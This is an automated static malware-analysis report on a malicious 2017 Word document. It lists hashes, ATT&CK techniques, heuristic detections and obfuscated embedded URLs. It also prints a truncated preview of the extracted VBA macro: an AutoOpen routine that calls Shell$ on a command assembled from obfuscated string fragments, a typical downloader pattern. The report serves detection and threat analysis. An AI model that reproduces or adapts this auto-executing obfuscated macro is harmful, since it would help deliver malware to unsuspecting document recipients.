Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 067f8904b4bcd4d1…

MALICIOUS

Office (OLE)

149.5 KB Created: 2017-11-15 16:55:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 6cd32605ae0ddeb88ab3f6b1c84bd984 SHA-1: 9c06dc9ac559f6aac3e1c4cb4a5c32cd3319722d SHA-256: 067f8904b4bcd4d16c8a911c44184b6d6e9d75976accf304e382ff89dd747d79
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that calls the Shell() function. This indicates the macro is designed to execute arbitrary commands, likely to download and run a second-stage payload. The obfuscated URLs suggest malicious intent. The ClamAV detection and multiple VBA heuristic firings confirm the malicious nature of the document.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://7jH+7jHwww.don7jH+7jWmo+WmoHWmo+WmoghodinhvigpWmo+Wmos.c7jH+7jHom7jDGDJ7An1K0 In document text (OLE body)
    • http://w7jH+7jHww.zkWFH7tIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 162516 bytes
SHA-256: 856f5b7d350a775f6745cdfc30b10887a101d6177ea578dbe207912d9d68cd56
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 104 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SozCBOQEV"
Sub AutoOpen()
VPzuHsUOA = "qJazmkEAG" + "jWsaFwAvt" + "tvpnQLzwn" + "nAnqvwtZI"
Shell$ NVBrazXba, 0
TZjPppulf = "WvKwuMwaT" + "KCsOAnwQz" + "TqatjfpjV" + "KdFztfjaD"
End Sub
Function NVBrazXba()
aQwjvMCKU = "cEwqJEEzqnOajqZsidIuwRzVWuZzRwwstkwYzXjfzdCSQPaXtHfuqCKiHdUPfFjtoVhwuBtLtduVOiFGTBFJREBraRQVDTzuzJduibcsOTANHoPcYNwdzWbjTpYckXIZdAYFAKY27iEvatWCW"
uIAmTkhWTbm = Mid(aQwjvMCKU, 2, 134)
CQWiW = Array(82, 55, 46, 66)
jAYiZvP = Array(58, 78, 29, 17)
ZiiCWshz = Array(58, 75, 87, 56)
CavKqtw = "qXj25VrliRMWilMcHKFpoBCjOnY3XPU"
UFnCoLtRRN = Mid(CavKqtw, 11, 13)
RMZdrQJhcI = Array(20, 90, 13, 71)
LhzHLFR = Array(69, 39, 75, 47)
zniiF = Array(16, 35, 57, 20)
vHTXBiIN = "mO0OTrflzdOd2HldkJi9qKGvPCwQBNNhGjBniURzPizrDEKrlHimArMlNiWzqFuKqwvrokXufjLHUOsLsEiufbjPTQZzzTJJnpAEITDBjoGTfFRzqLFmaAfPSjXYKXwMXBTfNnDZAdLrVMjOwaJmOXinJlmbvfqLruwdmllCIjlzonuGwJZkOJwATfVcBbdVnAzbPGcMoHihlaTa"
ScLzCL = Mid(vHTXBiIN, 24, 182)
wCicmKpMoY = Array(66, 75, 97, 93)
ZHfHMH = Array(55, 58, 73, 42)
HnnffR = Array(30, 24, 37, 50)
vALtmMn = "W0nVkim4pzA6UbzmrkbTXbnhXtUKvsuOMORjWFvHkVLJHzLbFwjjZwkBShAtHIbXwSOGKNQmpTjCQiZZitEwJLpPdPRoEBAcunLpiFQrfwtFMiloIbLODcOmdzdvwbhoSHIcSkqccMSMRjCuddfdpmZRZYMjcVvEPFnFZIVYkjlqJBUtwiRSvEwj54LrGwr"
MwPjuYaWVj = Mid(vALtmMn, 13, 172)
BqzfRlJYwYo = Array(46, 64, 29, 51)
wAAnjZ = Array(13, 44, 50, 46)
UXqlWHRb = Array(56, 97, 46, 89)
EbXAJo = "tMmQjiwLYbhwURPGbJGLtKjLDIolOXvKzwIGWKNvctQGFGdVPADhqHwdjnfojSwBjWwWIIjRvLiAucFzfTVNTNUsCiWjiZPKwOZiHHMGRmmiYvjGhhJNwihTCFUimAmWwYEfCXqXGOwjbpUGfpvFMAw"
nAmnYiZpOfP = Mid(EbXAJo, 8, 137)
iBUzQzsauT = Array(38, 68, 44, 81)
EHzJWXwt = Array(27, 71, 61, 21)
nvBQmDuEVvc = Array(14, 40, 33, 96)
nJzntrrh = "JvI8V76jJViHpkiqWRUFbsqNUqLYDBcozwWppFlNNWrPKVTqGizmKojdDpIqGjmBduHsNsBQfHsEAaDwXURZCpiKQtlzzvGhkqmPOacOdiHCwbcclJSlONznQwcUHBSkAKUKookzrDwTibOoQIOocVTXrwzRwIHbPWCmHSozZVtKQfFoinEwmiHfqwSpoSwjwVDqWPjSOAFIXz"
zhrFXUjS = Mid(nJzntrrh, 11, 185)
MiRPCJfT = Array(81, 70, 17, 76)
wdIwcOKrQVP = Array(47, 62, 66, 19)
YujipSMF = Array(51, 22, 83, 23)
hETIiHwaCfM = "RTbS8sX1bYbLT9wU4t23QjrhqDtXGAHQOzMwwUUHHsGAiIXESntDdIKHGXjFbAdjiZuEIzzNwKoMrfzhfpFTGEnGmFpYlPfHPXWJNTwVnfGSTwPaYBamuKcaloRCH8u"
NjKJiqiQqz = Mid(hETIiHwaCfM, 24, 102)
muzoMuci = Array(90, 75, 70, 77)
WGvpMwjvGNh = Array(30, 24, 73, 66)
YWcjD = Array(67, 34, 63, 43)
ViHAHCVw = "ud0zMsq4VHA83j1m0wGNiiAOFfaoNKMaUoNzNPJFYpTTzCEYilVlPUFHYuHiHEiTGwIYiiUicBpoOjODaCFbobKzjFYTHfwTGzMDtjpAQqJOiQsrjEEFwHiflIpcJBWzCViOUKJud49atdouwustK"
zDczBfUKT = Mid(ViHAHCVw, 19, 118)
HOcfjGIKJc = Array(14, 76, 41, 25)
RABKpu = Array(24, 42, 84, 97)
WGVCIa = Array(29, 86, 95, 35)
GiqoDXir = "HfERWGdTicJRKSRlSfmMJXKFqoNTPGiOjmwHipzMAZjPWVdfdRkmqjfFWzbisJEczuiXWJCdjZMkoviVKiqzVsXDHqljOQTqUGSbmFJTPHFQTuRbQFXKTHHEXfPfYTPPGVPicGiFYWiOmGjMZJTItJXNzNEHpdvwspKwfiwJXSlzYtRQvDFOzHWzwBUk7wSlzfiKsLM7jvaWi4Ihw8QGOUVNDp0"
vhfJzXs = Mid(GiqoDXir, 3, 184)
raaFAq = Array(20, 26, 19, 16)
iJZvWtQ = Array(24, 72, 30, 77)
ZMHqOQzEOwj = Array(17, 38, 28, 50)
stVMITkLd = "X9vzGtRWUMFKwSwVSNhnDatUzVhSlqNqPULLIidXVuJstzjNonXPcOSWJAitmsYDzPudGkMjkJRJRAbBpUdwTzNBBoBHzjlcVFtiCCGEaniTwJFJwGTf"
QLKGM = Mid(stVMITkLd, 10, 103)
PoACtKDGb = Array(29, 42, 43, 25)
GaWzGRCh = Array(83, 25, 82, 64)
KuwOmDJcohb = Array(72, 68, 84, 36)
NjYtUzpjT = "vTwjG203350BaVOOzd9bchfjzUJqTMtkfazVmoqPzjotMEuwXZBtNMDZnnBvQihOtKiCcQBdMrbtslUsZNSuKAWTXYiznuwRBaACZsTHYYjVlJjBTJVDPnEsoLiEhBqRtJrSlRSjtLVlTAhNsjjdZuBNWHNONOZXiOcbSNQBqpJESSZndRMAUMswHdwiDDSilwDEYGviQfnw8YkKF4rZXzj"
GRZZjbjAA = Mid(NjYtUzpjT, 20, 184)
qmSZCaUC = Array(66, 67, 82, 79)
lizhDDsp = Array(71, 33, 10, 83)
PiZpf = Array(95, 31, 84, 81)
WuhnqOciqM = "UF1sbhXkkzvDhakwCYCWWdToQmzmWiSUPUPXWhkpYINKiswdTWcNvjiumEV0vJLj09aN6aE6X28"
DmdzcaG = Mid(WuhnqOciqM, 8, 50)
NXOOMvn = A
... (truncated)

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